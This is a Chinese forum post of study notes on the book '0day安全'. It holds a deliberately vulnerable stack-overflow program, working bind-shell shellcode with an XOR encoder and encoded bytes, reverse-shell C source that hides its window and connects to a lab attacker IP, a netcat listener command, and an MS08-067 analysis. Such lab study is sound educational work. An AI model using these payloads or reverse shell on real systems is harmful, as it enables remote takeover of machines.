首页
论坛
课程
招聘
[原创]《0day 安全:软件漏洞分析技术 第二版》笔记
2021-5-22 17:49 7417

[原创]《0day 安全:软件漏洞分析技术 第二版》笔记

2021-5-22 17:49
7417

前言

  最近读了一遍0day安全这本书,收获颇多。有种农村人进城,大开眼界的感觉。这本书比较全面的介绍了windows系统安全机制方面的知识,在没接触这本书之前,自我感觉对windows系统比较了解,但看了书中介绍的知识,一下子崩溃了,盲点太多。不知道作者有更新版本的打算没有?书里的漏洞案例太老了,测试系统也是32位的老系统。估计其他人读到这本书时,也有此种牢骚。
  实验时,需要用到windows系统的很多版本,但是我只准备windows xp sp2,很多实验没有做,只是走马观花,大概了解了下。MS08-067这个漏洞,能够在windows xp sp2重现,所以我跟着书中提供的思路,对MS08-067做了比较详细的分析记录。本书的一大亮点,是对shellcode的编写做了详细的介绍,包括shellcode组织的各种形式和一些编写技巧。我在win10系统上编写了一个有栈溢出漏洞的程序,然后根据第三章的3.6.2 节所说的功能(打开6666端口),编写了一个shellcode,并且成功利用了这个漏洞。

打开6666端口

测试系统:windows10 (版本1909)
编译器:vs2019 (版本:16.9.6)
shellcode要实现的功能:
1)绑定一个shell到6666端口。
2)允许外部的网络连接使用这个shell。
3)程序能够正常退出。

测试程序

首先要写一个有栈溢出的漏洞的程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#define _CRT_SECURE_NO_WARNINGS
//#include <Windows.h>
#include <iostream>
#include <WinSock2.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
 
#define DLL_NAME "user32.dll"
#define PASSWORD "1234567"
using namespace std;
 
 
int verify_password(char* password)
{
    int authenticated;
    char buffer[44];
    authenticated = strcmp(password, PASSWORD);
    strcpy(buffer, password);//造成栈溢出的函数
    return authenticated;
}
 
int shellcode_test()
{
    int valid_flag = 0;
    char password[1024] = { 0 };
    FILE* fp; 
    DWORD filesize = 0;
 
    if (!(fp = fopen("key.txt", "rb+")))
    {
        exit(0);
    }
    fseek(fp, 0, SEEK_END);        //指针指向尾部
    filesize = ftell(fp);        //记录文件的长度
    fseek(fp, 0, SEEK_SET);        //恢复指针,指向开始位置
 
    //将文件读取缓冲区
    fread(password, filesize, 1, fp);
 
    valid_flag = verify_password(password);
    if (valid_flag)
    {
        printf("密码错误\n");
    }
    else
    {
        printf("密码正确\n");
    }
    fclose(fp);
}
 
int main()
{
    LoadLibraryA("ws2_32.dll");
    shellcode_test();
    system("pause");
    return 0;
}

上面构造了一个能够造成栈溢出的程序,栈溢出来自verify_password函数里的strcpy函数。

 

编译时,要关闭以下的一些安全选项,以保证实验顺利进行。
基本运行时检查,选择默认值;安全检查,选择禁用安全检查。
clipboard_14_

 

关闭SDL检查:
clipboard_36_

 

关闭DEP保护:
clipboard_12_

 

此外,准备一个52个字节的key.txt,测试使用:
clipboard_10_


 

程序编译好后,用OD来打开这个程序,直接定位到关键点。
查看strcpy执行之前的堆栈状况:
clipboard_35_

 

再看strcpy执行之后的堆栈状况:
clipboard_23_


构造shellcode

知道栈溢出的地方后,接下来开始编写shellcode来验证。由于程序启动后,堆栈的地址都是随机的,所以返回地址不能填固定地址。可以利用跳板技术(jmp esp),在程序加载的系统库里找一跳jmp esp的指令,jmp esp指令的硬编码是0xFFE4。
这个程序是在kernelbase.dll里寻找jmp esp指令:
clipboard_32_

 

搜找一条jmp esp指令:
clipboard

 

注:0x759802EA必须在代码区,也就是.text所在节,不然执行会出错。这个地址不是一劳永逸的,系统重启的时候,需要重新定位。
通过内存布局查看,0x759802EA在.text节:
clipboard_17_

 

那么,整个shellcode就可以根据下面的图来组织了:
clipboard_22_

 

上面已经给出了shellcode要实现的功能,这里再说一下:
1)绑定一个shell到6666端口。
2)允许外部的网络连接使用这个shell。
3)程序能够正常退出。

 

  需要用的的函数:LoadLibraryA、CreateProcessA、TerminateProcess、WSAStartup、WSASocketA、bind、listen、accept。前三个函数来自kernel32.dll,后面函数来自ws2_32.dll。退出程序时,书中给的函数是ExitProcess,但是我在测试的时候,ExitProcess会出现异常,所以这里用TerminateProcess代替ExitProcess,用来退出程序。
  接下来对函数字符串进行编码。依照书上的代码,把这些函数经过运算后用一个字节的hash来表示,但是在最新的系统上,LoadLibraryA以及listen函数与其他函数有相同的hash值,因此,需要把8位的hash扩展为16位,以解决hash值相同的问题。
下面的算法,把函数字符串转换成2个字节的hash值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//这里把源代码稍微改了一下,变为2个字节的hash
DWORD hash_collision(const char* funcname)
{
    DWORD ret = 0;
    __asm
    {
        CLD  //清除DF标志
        xor edx, edx
        xor eax, eax
        mov esi, funcname
hash_loop :
        lodsb
        xor al, 0x71
        sub dx, ax
        rol dx,1
        cmp al, 0x71
        jne hash_loop
        mov ret, edx
    }
    return ret;
}
 
int _tmain(int argc, _TCHAR* argv[])
{   
    //char ldba[] = "LoadLibraryA";//0x00002BA3
    //char ldba[] = "CreateProcessA"; //0x00006b10
    //char ldba[] = "TerminateProcess";//0x0000a51b
    //char ldba[] = "WSAStartup";//0x0000c5c7
    //char ldba[] = "WSASocketA";//0x0000b433
    //char ldba[] = "bind";//0x0000fa11
    //char ldba[] = "listen";//0x0000e971
    char ldba[] = "accept";//0x0000ef81
    DWORD hashval = hash_collision(ldba);  
    system("pause");
    return 0;
}

现在来组织橙色部分的shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
//对书中提供的源代码做了些改动
 
void TestPort()
{
 
    //打开6666端口
    __asm
    {
        mov eax, esp
        add eax, 7
        jmp codearea
 
        //函数的hash
        _emit    0xA3
        _emit    0x2B    //LoadLibraryA
 
        _emit    0x10
        _emit    0x6b    //CreateProcessA
 
        _emit    0x1b
        _emit    0xa5    //TerminateProcess
 
        _emit    0xc7
        _emit    0xc5    //WSAStartup
 
        _emit    0x33
        _emit    0xb4    //WSASocketA
 
        _emit    0x11
        _emit    0xfa    //bind
 
        _emit    0x71
        _emit    0xe9    //listen
 
        _emit    0x81
        _emit    0xef    //accept
 
 
        //"CMd"
        _emit 0x43        //inc ebx
        _emit 0x4d        //dec ebp
        _emit 0x64        //FS:
        codearea:
        //start of proper code
        cdq        //把edx设置为0
        xchg eax, esi                //esi = addr of first function hash
        lea edi, [esi - 0x10]        //edi = addr to start writing function
                                //address (last addr will be written just
                                //before "cmd")
 
 
        //定位kernel32.dll的基址
        mov ebx, fs: [edx + 0x30]
        mov ecx, [ebx + 0x0c]
        mov ecx, [ecx + 0x1c]
        mov ecx, [ecx]
        mov ebp, [ecx + 0x08]        //ebp = base address of kernel32.dll
 
 
        //提升堆栈空间 提升0x300
        mov dh, 0x03            //sizeof(WSADATA) is 0x190
        sub esp, edx
 
 
        //把指向"ws2_32"字符串的指针压入到堆栈
        mov dx, 0x3233        //edx剩余的部分为空
        push edx
        push 0x5F327377
        push esp
 
find_lib_functions :
        lodsw                    //从 ESI 指向的内存地址加载一个字节到AL
                            //ESI 按照方向标志位的状态递增或递减,这儿是递增
        cmp ax, 0xc5c7        //0xc5c7是WSAStartup的hash
 
        jne find_functions
        xchg eax, ebp        //save current hash
        call[edi - 0xC]        //LoadLibraryA
        xchg eax, ebp        //restore current hash
        push edi
 
 
find_functions :
        pushad                                //保存寄存器
        mov eax, [ebp + 0x3C]            //eax = start of PE header
        mov ecx, [ebp + eax + 0x78]        //ecx = relative offset of export table
        add ecx, ebp                    //导出表结构地址PIMAGE_EXPORT_DIRECTORY
        mov ebx, [ecx + 0x20]            //+20 导出函数名称表 即为_IMAGE_EXPORT_DIRECTORY + AddressOfNames
        add ebx, ebp                    //函数名称地址
        xor edi, edi
 
 
next_function_loop :
        inc edi
        mov esi, [ebx + edi * 4]        //esi = relative offset of current function name
        add esi, ebp                    //esi = absolute offset of current function name
        cdq                                //CDQ这个指令把EAX的第31bit复制到 EDX 的每一个bit上
 
        xor eax,eax
        xor edx,edx
 
hash_loop :
        lodsb                            //从 ESI 指向的内存地址加载两个字节到Ax
                                    //ESI 按照方向标志位的状态递增或递减,这儿是递增
        xor al, 0x71
        sub dx, ax
        rol dx, 1
        cmp al, 0x71                //loop until we reach end of string
        jne hash_loop
        cmp dx, [esp + 0x1C]        //compare to the requested hash (saved on stack from pushed)
        jnz next_function_loop
 
        mov ebx, [ecx + 0x24]        //+0x24 导出函数序号表 _IMAGE_EXPROT_DIRECTORY + AddressOfNameOrdinals
        add ebx, ebp                //ebx = absolute addr of ordinals table
        mov di, [ebx + 2 * edi]        //di = ordinal number of matched
        mov ebx, [ecx + 0x1C]        //+0x1C 导出函数地址表 _IMAGE_EXPROT_DIRECTORY + AddressOfFunctions
        add ebx, ebp                //ebx = absolute addr of address table
        add ebp, [ebx + 4 * edi]        //add to ebp (base addr of module) the relative offset of matched function
 
        //relative offset of matched function
        xchg eax, ebp            //move func addr into eax
        pop edi                    //edi is last onto stack in pushed
        stosd                    //stosd指令将EAX的内容存入由EDI中偏移量指向的内存位置
        push edi                //EDI按照方向标志位的状态递增或递减,这儿是递增
 
        popad                    //恢复寄存器
        cmp esi, edi                //loop until we reach end of last hash
        jne find_lib_functions
        pop esi                    //saved location of first winsock function
                                //we will lodsd and call each func in sequence
 
        //初始化winsock
        push esp                //use stack for WSADATA
        push 0x02                //wVersionRequested
        lodsd
        call eax                //调用WSAStartup
 
        //null-terminate "cmd"
        mov byte ptr[esi + 0x13], al    //eax = 0 if WSAStartup() worked
 
        //clear some stack to use as NULL parameters
        lea ecx, [eax + 0x30]            //sizeof(STARTUPINFO) = 0x44
        mov edi, esp
        rep stosd                    //eax is still 0
                                    //rep指令的目的是重复其上面的指令.ECX的值是重复的次数.
                                    //STOS指令的作用是将eax中的值拷贝到ES:EDI指向的地址.
 
        //create socket
        inc eax
        push eax                //type = 1 (SOCK_STREAM)
        inc eax
        push eax            //af = 2(AF_INET)
        lodsd
        call eax            //WSASocketA
        xchg ebp, eax        //save SOCKET descriptor in ebp
 
        //push bind parameters
        mov eax, 0x0a1aff02        //0x1a0a = prot 6666,0x02 = AF_INET
        xor ah, ah                //remove the ff from eax
        push eax
        push esp                //pointer to our sockaddr struct
 
 
        //call bind(),listen() and accept() in turn
call_loop:
        push ebp        //saved SOCKET descriptor (we implicitly pass NULL for all other params)
        lodsd
        call eax        //call the next function
        test eax, eax    //bind() and listen() return 0,accept() returns
                        //a SOCKET descriptor
        jz call_loop
 
        //initialise a STARTUPINFO structure at esp
        inc byte ptr[esp + 0x2d//set STARTF_USESTDHANDLES to true
        sub edi, 0x6c            //point edi at hStdInput in STARTUPINFO
        stosd                    //use SOCKET descriptor returned by accept
                                //(still in eax) as the stdin handle same for stdout
        stosd                    //same for stderr (optional)
 
        //创建子进程
        pop eax                //set eax = 0 (STARTUPINFO now at esp + 4)
        push esp            //use stack as PROCESSINFORMATION structure
                            //(STARTUPINFO now back to esp)
 
        push esp            //STARTUPINFO structure
        push eax            //lpCurrentDirectory = NULL
        push eax            //lpEnvironment = NULL
        push eax            //dwCreationFlags = NULL
        push esp            //bInheritHandles = true
        push eax            //lpThreadAttributes = NULL
        push eax            //lpProcessAttributes = NULL
        push esi            //lpCommandLine = "cmd"
        push eax            //lpApplicationName = NULL
        call[esi - 0x1c]        //CreateProcessA
 
        push ebx
        push 0xFFFFFFFF
        call[esi - 0x18]    //调用TerminateProcess()
    }
}
 
int _tmain(int argc, _TCHAR* argv[])
{   
    TestPort();   
    system("pause");
    return 0;
}

以上的汇编指令,可以通过OD来把硬编码抠出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
char codetest[] = {       
        0x8B, 0xC4, 0x83, 0xC0, 0x7, 0xEB, 0x13, 0xA3, 0x2B, 0x10, 0x6B, 0x1B, 0xA5, 0xC7, 0xC5, 0x33,
        0xB4, 0x11, 0xFA, 0x71, 0xE9, 0x81, 0xEF, 0x43, 0x4D, 0x64, 0x99, 0x96, 0x8D, 0x7E, 0xF0, 0x64,
        0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B, 0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xB6, 0x03,
        0x2B, 0xE2, 0x66, 0xBA, 0x33, 0x32, 0x52, 0x68, 0x77, 0x73, 0x32, 0x5F, 0x54, 0x66, 0xAD, 0x66,
        0x3D, 0xC7, 0xC5, 0x75, 0x06, 0x95, 0xFF, 0x57, 0xF4, 0x95, 0x57, 0x60, 0x8B, 0x45, 0x3C, 0x8B,
        0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59, 0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34, 0xBB,
        0x03, 0xF5, 0x99, 0x33, 0xC0, 0x33, 0xD2, 0xAC, 0x34, 0x71, 0x66, 0x2B, 0xD0, 0x66, 0xD1, 0xC2,
        0x3C, 0x71, 0x75, 0xF3, 0x66, 0x3B, 0x54, 0x24, 0x1C, 0x75, 0xE1, 0x8B, 0x59, 0x24, 0x03, 0xDD,
        0x66, 0x8B, 0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03, 0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57,
        0x61, 0x3B, 0xF7, 0x75, 0xA8, 0x5E, 0x54, 0x6A, 0x02, 0xAD, 0xFF, 0xD0, 0x88, 0x46, 0x13, 0x8D,
        0x48, 0x30, 0x8B, 0xFC, 0xF3, 0xAB, 0x40, 0x50, 0x40, 0x50, 0xAD, 0xFF, 0xD0, 0x95, 0xB8, 0x02,
        0xFF, 0x1A, 0x0A, 0x32, 0xE4, 0x50, 0x54, 0x55, 0xAD, 0xFF, 0xD0, 0x85, 0xC0, 0x74, 0xF8, 0xFE,
        0x44, 0x24, 0x2D, 0x83, 0xEF, 0x6C, 0xAB, 0xAB, 0x58, 0x54, 0x54, 0x50, 0x50, 0x50, 0x54, 0x50,
        0x50, 0x56, 0x50, 0xFF, 0x56, 0xE4, 0x53, 0x6A, 0xFF, 0xFF, 0x56, 0xE8
    };

对shellcode编码

接下来对codetest数组里的值进行编码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
//对shellcode进行编码
void encoder(char* input, unsigned char key, int display_flag)
{
    int i = 0, len = 0;
    FILE* fp;
    unsigned char* output = 0;
    len = strlen(input);
    output = (unsigned char*)malloc(len + 1);
    if (!output)
    {
        printf("内存申请失败!\n");
        system("pause");
        exit(0);
    }
 
    //encode the shellcode
    for (i = 0; i < len; i++)
    {
        output[i] = input[i] ^ key;
    }
 
    if (!(fp = fopen("encode.txt", "w+")))
    {
        printf("文件创建失败!\n");
        system("pause");
        exit(0);
    }
    fprintf(fp, "\"");
    for (i = 0; i < len; i++)
    {
        fprintf(fp, "\\x%0.2x", output[i]);
        if ((i + 1) % 16 == 0)
        {
            fprintf(fp, "\"\n\"");
        }
    }
 
    fprintf(fp, "\";");
    fclose(fp);
    printf("dump the encoded shellcode to encode.txt OK!\n");
    if (display_flag)//打印
    {
        for (i = 0; i < len; i++)
        {
            printf("%0.2x ", output[i]);
            if ((i + 1) % 16 == 0)
            {
                printf("\n");
            }
        }
    }
    free(output);
}
 
int _tmain(int argc, _TCHAR* argv[])
{
    char codetest[] = {       
        0x8B, 0xC4, 0x83, 0xC0, 0x1d, 0xEB, 0x13, 0xA3, 0x2B, 0x10, 0x6B, 0x1B, 0xA5, 0xC7, 0xC5, 0x33,
        0xB4, 0x11, 0xFA, 0x71, 0xE9, 0x81, 0xEF, 0x43, 0x4D, 0x64, 0x99, 0x96, 0x8D, 0x7E, 0xF0, 0x64,
        0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B, 0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xB6, 0x03,
        0x2B, 0xE2, 0x66, 0xBA, 0x33, 0x32, 0x52, 0x68, 0x77, 0x73, 0x32, 0x5F, 0x54, 0x66, 0xAD, 0x66,
        0x3D, 0xC7, 0xC5, 0x75, 0x06, 0x95, 0xFF, 0x57, 0xF4, 0x95, 0x57, 0x60, 0x8B, 0x45, 0x3C, 0x8B,
        0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59, 0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34, 0xBB,
        0x03, 0xF5, 0x99, 0x33, 0xC0, 0x33, 0xD2, 0xAC, 0x34, 0x71, 0x66, 0x2B, 0xD0, 0x66, 0xD1, 0xC2,
        0x3C, 0x71, 0x75, 0xF3, 0x66, 0x3B, 0x54, 0x24, 0x1C, 0x75, 0xE1, 0x8B, 0x59, 0x24, 0x03, 0xDD,
        0x66, 0x8B, 0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03, 0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57,
        0x61, 0x3B, 0xF7, 0x75, 0xA8, 0x5E, 0x54, 0x6A, 0x02, 0xAD, 0xFF, 0xD0, 0x88, 0x46, 0x13, 0x8D,
        0x48, 0x30, 0x8B, 0xFC, 0xF3, 0xAB, 0x40, 0x50, 0x40, 0x50, 0xAD, 0xFF, 0xD0, 0x95, 0xB8, 0x02,
        0xFF, 0x1A, 0x0A, 0x32, 0xE4, 0x50, 0x54, 0x55, 0xAD, 0xFF, 0xD0, 0x85, 0xC0, 0x74, 0xF8, 0xFE,
        0x44, 0x24, 0x2D, 0x83, 0xEF, 0x6C, 0xAB, 0xAB, 0x58, 0x54, 0x54, 0x50, 0x50, 0x50, 0x54, 0x50,
        0x50, 0x56, 0x50, 0xFF, 0x56, 0xE4, 0x53, 0x6A, 0xFF, 0xFF, 0x56, 0xE8,    0x90
    };
    encoder(codetest, 0x91, 1);//通过和0x91异或输出到文件encode.txt,以及打印出来
    system("pause");
    return 0;
}

注意:把codetest的第5字节0x7改为0x1d。这是根据解码器的硬编码的字节数,计算之后再加上去的。
clipboard_18_
clipboard_29_

 

此外,在codetest的末尾加上0x90,用来标明解密的结束标志:
clipboard_24_

 

编译好后,启动程序,输出的结果如下:
clipboard_11_

 

把编了码的shellcode拷贝出来,备用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//shellcode
1a 55 12 51 8c 7a 82 32 ba 81 fa 8a 34 56 54 a2
25 80 6b e0 78 10 7e d2 dc f5 08 07 1c ef 61 f5
1a cb a1 1a da 9d 1a d8 8d 1a 98 1a f8 99 27 92
ba 73 f7 2b a2 a3 c3 f9 e6 e2 a3 ce c5 f7 3c f7
ac 56 54 e4 97 04 6e c6 65 04 c6 f1 1a d4 ad 1a
dd 94 e9 92 5c 1a c8 b1 92 4c a2 6e d6 1a a5 2a
92 64 08 a2 51 a2 43 3d a5 e0 f7 ba 41 f7 40 53
ad e0 e4 62 f7 aa c5 b5 8d e4 70 1a c8 b5 92 4c
f7 1a ad ea 1a c8 8d 92 4c 92 bd 2a 04 ce 3a c6
f0 aa 66 e4 39 cf c5 fb 93 3c 6e 41 19 d7 82 1c
d9 a1 1a 6d 62 3a d1 c1 d1 c1 3c 6e 41 04 29 93
6e 8b 9b a3 75 c1 c5 c4 3c 6e 41 14 51 e5 69 6f
d5 b5 bc 12 7e fd 3a 3a c9 c5 c5 c1 c1 c1 c5 c1
c1 c7 c1 6e c7 75 c2 fb 6e 6e c7 79 01 6f 88

解码器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//解码器
void decoder()
{
    __asm
    {
        mov eax,esp
        add eax,0x16    //越过decoder,记录shellcode的起始位置
        xor ecx,ecx
        decode_loop:
        mov bl,[eax+ecx]
        xor bl,0x91        //这里用0x91作为key(注意:假如编码时的key不为0x91,那么,这里也要做相应的改变)
        mov [eax+ecx],bl
        inc ecx
        cmp bl,0x90        //在shellcode末尾放上一个字节的0x90作为结束符
        jne decode_loop
    }
}
//解码器的硬编码 
//8B C4 83 C0 16 33 C9 8A 1C 08 80 F3 91 88 1C 08 41 80 FB 90 75 F1

整个shellcode的组织,如下图:
clipboard_26_

 

最后,可以把组织好的shellcode拷贝到key.txt文件中了:
clipboard_15_

 

这里,再把上面的整个过程流程捋一下:
1)写一个有栈溢出漏洞的程序。
2)对要用到的函数进行编码。
3)组织shellcode。
4)再对shellcode进行编码,然后把组织好的shellcode拷贝到key.txt文件中。


运行程序

最后,运行这个有栈溢出漏洞的程序。
用OD打开,经过jmp esp跳转后到达这里:
clipboard_5_

 

解码完之后,按F7单步跟,程序会在accent函数中阻塞,等待连接:
clipboard_28_

 

此时,打开cmd查看侦听的端口,可以知道6666端口已在侦听了。
clipboard_25_

 

查看IP地址:
clipboard_31_

 

用kali来连接6666端口来做测试:
clipboard_20_

 

kali中输入telnet 192.168.1.3 6666,按下回车后,OD中的accept函数从阻塞中恢复。
程序执行CreateProcessA后,kali得到了主机的cmd。程序再调用TerminateProcess安全退出。
clipboard_13_

 

kali成功控制了主机:
clipboard_7_


反弹shell

这里写一个反弹shell的例子,方便以后查看。代码在网上找的。
实验机器:主机是win10(版本:17763)系统,控制主机的机器是kali。
实验代码:client.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <iostream>
#include <WinSock2.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//隐藏控制台窗口
#define REMOTE_ADDR "192.168.1.7"  //在kali上,通过ifconfig查看得知ip为"192.168.1.7"
#define REMOTE_PORT 8333
//反弹shell
void ReverseShellcode()
{
    //初始化WSA套接字
    WSADATA wsd;
    WSAStartup(0x0202, &wsd);
 
    SOCKET socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    SOCKADDR_IN sin;
    sin.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR);//要连接的主机
    sin.sin_port = htons(REMOTE_PORT);//端口
    sin.sin_family = AF_INET;
    //连接远程的服务端,发送验证代码
    connect(socket, (sockaddr*)&sin, sizeof(sin));
    send(socket, "[+]Hello!n", strlen("[+]Hello!n"), 0);
    //创建cmd进程
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    GetStartupInfo(&si);
    si.cb = sizeof(STARTUPINFO);
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)socket; //将标准输入输出绑定到Socket
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    TCHAR cmdline[255] = L"cmd.exe";
    while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
    { //创建进程,第五个参数TRUE子进程继承父进程的所有句柄
        Sleep(1000);
    }
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}
 
int main()
{
    ReverseShellcode();
    system("pause");
    return 0;
}

实验步骤:
1、先在kali上监听8333的端口,命令是 sudo nc -l -p 8333。
clipboard88

 

2、在win10系统点击client.exe启动程序:
clipboard_9_

 

3、查看kali,连接成功:
clipboard_27_


MS08-067

简介

  2008年10月23日,微软紧急发布了一个严重的安全补丁MS08-067KB958644)。MS08-067是继 MS06-040之后又一个可以被利用的 RPC 漏洞,“著名”的 Conficker(又 名 Downadup、Kido)蠕虫利用的就是这个漏洞。


漏洞分析

这个漏洞存在NetpwPathCannonicalize 函数的子函数 CanonicalizePathName 中,这两个函数都在netapi32.dll中。
受影响的系统:Windows 2000 SP4,Windows XP SP2和SP3,Windows Server 2003 SP1和SP2,Windows Vista Gold和SP1,Windows Server 2008和Windows 7 Pre-Beta。
发生栈溢出的位置,在CanonicalizePathName函数的子函数RemoveLegacyFolder中:
clipboard_30_

 

RemoveLegacyFolder函数的作用就是将合并路径中的经典目录移去,使路径达到最简洁状态。
比如:”aaa\bbbb.\ddddd.....\cccc\eeeee“ 实际上就是等于” aaa\cccc\eeeee“。RemoveLegacyFolder函数的作用就是如此。
接下来具体看一下这个函数:
clipboard_37_
clipboard_34_
clipboard_19_

 

现在直接把这个函数拷贝到vs2019进行测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#include <Windows.h>
#include <iostream>
#include<Psapi.h>
#include<profileapi.h>
#include <tchar.h>
 
int __stdcall RemoveLegacyFolder(wchar_t* Destination)
{
    wchar_t* v1; // ecx
    wchar_t v2; // ax
    wchar_t* v3; // ebx
    wchar_t* v4; // edi
    wchar_t* v5; // esi
    const wchar_t* v6; // eax
    wchar_t v7; // dx
    wchar_t v8; // bx
    wchar_t v10; // dx
    wchar_t* i; // ecx
    wchar_t v12; // ax
    wchar_t* j; // eax
    wchar_t* v14; // ecx
    wchar_t* v15; // [esp+Ch] [ebp-4h]
 
    v1 = Destination;
    v2 = *Destination;
    v3 = 0;
    v4 = 0;
    v15 = 0;
    if (*Destination == 0x5C || v2 == 0x2F)
    {
        v10 = Destination[1];
        if (v10 == 0x5C || v10 == 0x2F)
        {
            for (i = Destination + 2; ; ++i)
            {
                v12 = *i;
                if (*i == 0x5C || v12 == 0x2F)
                    break;
                if (!v12)
                    return 0;
            }
            if (!*i)
                return 0;
            v1 = i + 1;
            v2 = *v1;
            Destination = v1;
            if (*v1 == 0x5C || v2 == 0x2F)
                return 0;
        }
    }
    v5 = v1;
    if (!v2)
        return 1;
    while (1)
    {
        if (v2 == 0x5C)
        {
            if (v3 == v5 - 1)
                return 0;
            v4 = v3;
            v15 = v5;
            goto LABEL_6;
        }
        if (v2 != 0x2E || v3 != v5 - 1 && v5 != v1)
            goto LABEL_6;
        v6 = v5 + 1;
        v7 = v5[1];
        if (v7 == 0x2E)
        {
            v8 = v5[2];
            if (v8 == 0x5C || !v8)
            {
                if (!v4)
                    return 0;
                wcscpy(v4, v5 + 2);//移经操作
                if (!v8)
                    return 1;
                v15 = v4;
                v5 = v4;
                for (j = v4 - 1; *j != 0x5C && j != Destination; --j)
                    ;
                v1 = Destination;
                v4 = (wchar_t*)(*j == 0x5C ? (unsigned int)j : 0);
            }
            goto LABEL_6;
        }
        if (v7 != 0x5C)
            break;
        if (v3)
        {
            v14 = v3;
        }
        else
        {
            v6 = v5 + 2;
            v14 = v5;
        }
        wcscpy(v14, v6);
        v1 = Destination;
    LABEL_7:
        v2 = *v5;
        if (!*v5)
            return 1;
        v3 = v15;
    }
    if (v7)
    {
    LABEL_6:
        ++v5;
        goto LABEL_7;
    }
    if (v3)
        v5 = v3;
    *v5 = 0;
    return 1;
}
 
int _tmain(int argc, _TCHAR* argv[])
{   
    wchar_t path[] = L"\\aaa\\..\\..\\bbbb";
    RemoveLegacyFolder(path);    
    system("pause");
    return 0;
}

上面测试时程序能正常退出,现在把path改一改:

1
2
wchar_t path[] =
L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";

再运行时,程序卡住了:
clipboard_3_

 

接下来,在关键位置进行单步调试:
clipboard_6_

 

那么,再次执行移经操作时,只要字符串足够多,就会把函数使用的堆栈空间覆盖掉。事实也是如此。
clipboard_1_

 

执行到545行,造成了访问权限冲突,这是因为v4是局部变量,经过移经操作后,v4的值被覆盖了。
clipboard_33_

 

问题就是出现在这一行:

1
2
for (j = v4 - 1; *j != 0x5C && j != Destination; --j)
                  ;

v4 = (wchar_t)(j == 0x5C ? (unsigned int)j : 0);//在对v4赋值的时候,没有检查j是否越界。也就是说,对传进来的指针Destination没有和j对比,就直接把j赋值给v4了。


 

黑盒测试:(系统环境:windows xp sp2 , 编译器:vc6)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//以下是书中提供的源码
#include <windows.h>
#include <stdio.h>
typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);
int main(int argc, char* argv[])
